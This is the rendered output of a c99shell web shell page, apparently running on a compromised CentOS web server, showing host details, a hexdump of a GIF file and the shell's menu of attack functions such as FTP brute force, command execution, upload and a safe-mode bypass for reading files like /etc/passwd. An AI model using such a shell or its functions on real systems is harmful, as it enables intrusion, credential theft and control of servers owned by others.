!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/manage_22222/pic/   drwxr-xr-x
Free 52.36 GB of 127.8 GB (40.97%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     shadow.gif (891 B)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
Information:
Path /var/www/html/manage_22222/pic/shadow.gif
Size 891 B
MD5 e7dfd691a979840c69918e6121032519
Owner/Group root/root
Perms-rw-r--r--
Create time 06/07/2011 01:44:20
Access time 30/07/2024 19:15:26
MODIFY time 21/08/2009 09:44:46

FULL HEXDUMP
00000000
00000018
00000030
00000048
00000060
00000078
00000090
000000A8
000000C0
000000D8
000000F0
00000108
00000120
00000138
00000150
00000168
00000180
00000198
000001B0
000001C8
000001E0
000001F8
00000210
00000228
00000240
00000258
00000270
00000288
000002A0
000002B8
000002D0
000002E8
00000300
00000318
00000330
00000348
00000360
00000378
47 49 46 38 37 61 12 00 11 00 F7 00 00 00 00 00 73 73 73 D6 CE C6 FF FF
FF 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 50 4D 18 00 42 00 00 00 FF FF FF
0E 9C F8 12 00 9C F8 12 00 C4 59 73 74 00 00 00 40 E0 FA 12 00 74 F9 12
00 00 00 00 00 B3 16 F5 77 80 D1 16 00 71 16 F5 77 A8 07 14 00 8D 16 F5
77 D0 F9 12 00 18 10 03 00 00 04 00 40 F8 F8 12 00 00 00 14 00 F5 16 F5
77 24 00 00 00 48 0D 14 00 00 00 14 00 F0 03 15 00 D0 F8 12 00 00 00 00
00 E8 FA 12 00 02 24 F8 77 20 55 F7 77 FF FF FF FF F5 16 F5 77 CD 17 F5
77 0B 18 F5 77 00 00 00 00 00 00 40 00 38 86 48 00 54 00 6F 00 24 00 00
00 26 00 00 00 88 D1 16 00 00 00 00 00 00 00 00 00 03 00 00 00 00 00 00
00 00 00 00 40 00 00 00 00 14 F9 12 00 00 00 00 00 1E 28 F5 77 27 28 F5
77 88 00 15 00 24 00 02 00 80 6D 18 00 2C FA 12 00 30 FA 12 00 00 00 00
00 B3 16 F5 77 70 5C 18 00 71 16 F5 77 D8 07 14 00 8D 16 F5 77 8C 5C 18
00 78 5C 18 00 00 00 00 00 8D 16 F5 77 05 00 00 00 28 00 00 00 00 00 00
00 B8 FE 14 00 00 00 00 00 00 00 01 00 00 00 14 00 FC F8 12 00 18 FB 12
00 E4 F9 12 00 02 24 F8 77 F8 54 F7 77 FF FF FF FF 8D 16 F5 77 39 33 F5
77 54 33 F5 77 C0 50 FC 77 47 33 F5 77 F0 58 18 00 D0 58 18 00 8C 5C 18
00 00 E0 FD 7F CC F9 12 00 01 00 00 00 28 FA 12 00 02 24 F8 77 48 62 F7
77 FF FF FF FF 47 33 F5 77 DC 32 F5 77 07 00 00 00 38 00 00 00 78 5C 18
00 00 00 00 00 60 F2 16 00 08 51 01 00 00 00 14 00 74 F9 12 00 00 00 00
00 74 FA 12 00 02 24 F8 77 F8 54 F7 77 FF FF FF FF 8D 16 F5 77 2E 8F E7
77 00 00 14 00 00 00 00 00 3A 8F E7 77 27 7D D4 77 00 00 40 00 01 00 00
00 80 FE 14 00 00 E0 FD 7F 00 00 40 00 00 00 00 00 00 00 00 00 24 01 00
00 78 5C 18 00 44 FA 12 00 00 00 00 00 B0 FF 12 00 86 BB E9 77 00 8D E8
77 FF FF FF FF 3A 8F E7 77 5C 57 43 00 78 5C 18 00 27 7D D4 77 00 00 40
00 20 00 00 00 80 15 AE 80 0B 35 C2 01 00 E8 87 E0 C5 34 C2 01 00 00 EA
DE 84 34 C2 01 00 00 00 00 AA 00 00 00 24 00 00 00 20 01 00 00 73 68 61
64 6F 77 2E 67 69 66 00 00 00 00 00 00 2E 3B D4 00 F0 03 15 00 00 00 14
00 04 F9 12 00 04 FB 12 00 34 FB 12 00 02 24 F8 77 10 55 F7 77 FF FF FF
FF 0B 18 F5 77 D3 98 E7 77 00 00 14 00 08 00 14 00 E4 98 E7 77 27 7D D4
77 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 44 DA 44 00 13 04 15
00 BC E0 16 00 17 04 15 00 5F 86 48 00 FF FF FF FF F0 03 15 00 9E DA 44
00 13 04 15 00 73 D0 44 00 F0 03 15 00 21 F9 04 00 00 00 00 00 2C 00 00
00 00 12 00 11 00 40 08 58 00 07 08 1C 48 B0 20 41 01 08 03 28 14 10 00
00 42 00 0E 11 0A 18 20 B1 A2 45 8B 14 2F 6A 94 98 D1 22 44 88 01 30 6E
1C D9 B1 E2 C7 88 15 4B 26 6C A8 10 62 CA 91 1B 55 C2 44 28 73 66 4D 98
14 15 EA 6C 29 C0 E5 CB 8A 3A 01 B4 44 39 51 23 4B 9F 1C 67 5E BC 39 32
20 00 3B
GIF87a0000000sss
00000000000000000000000
0000000000000PM0B000
00Yst000@0t
00000w0qw0
w0000@0000
w$000H 000000000
00$w Uww
w w000000@08H0T0o0$00
0&000000000000000000
0000@000000000(w'(
w00$00m0,000000
0wp\0qw0w\
0x\00000w000(000000
0000000000000
00$wTww93
wT3wPwG3wX0X0\
000000(0$wHb
wG3w2w0008000x\
00000`0Q0000t0000
0t0$wTww.
w0000000:w'}w00@000
00000@000000000$0
0x\0D000000w0
w:w\WC0x\0'}w00@
0 000 50400
ބ40000000$000 00sha
dow.gif000000.;0000
00040$wUw
wӘw00000w'}
w0000000000000000DD0
000_H00D
00sD00!00000,00
0000@X0H A(0
0B0  E/j"D0n
ٱLjK&lbʑUD(sfM
l)ˊ:D9Q#Kg^92
 0;

HEXDUMP: [Full] [Preview]
Base64:
[Encode [+chunk [+chunk+quotes [Decode


:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0109 ]--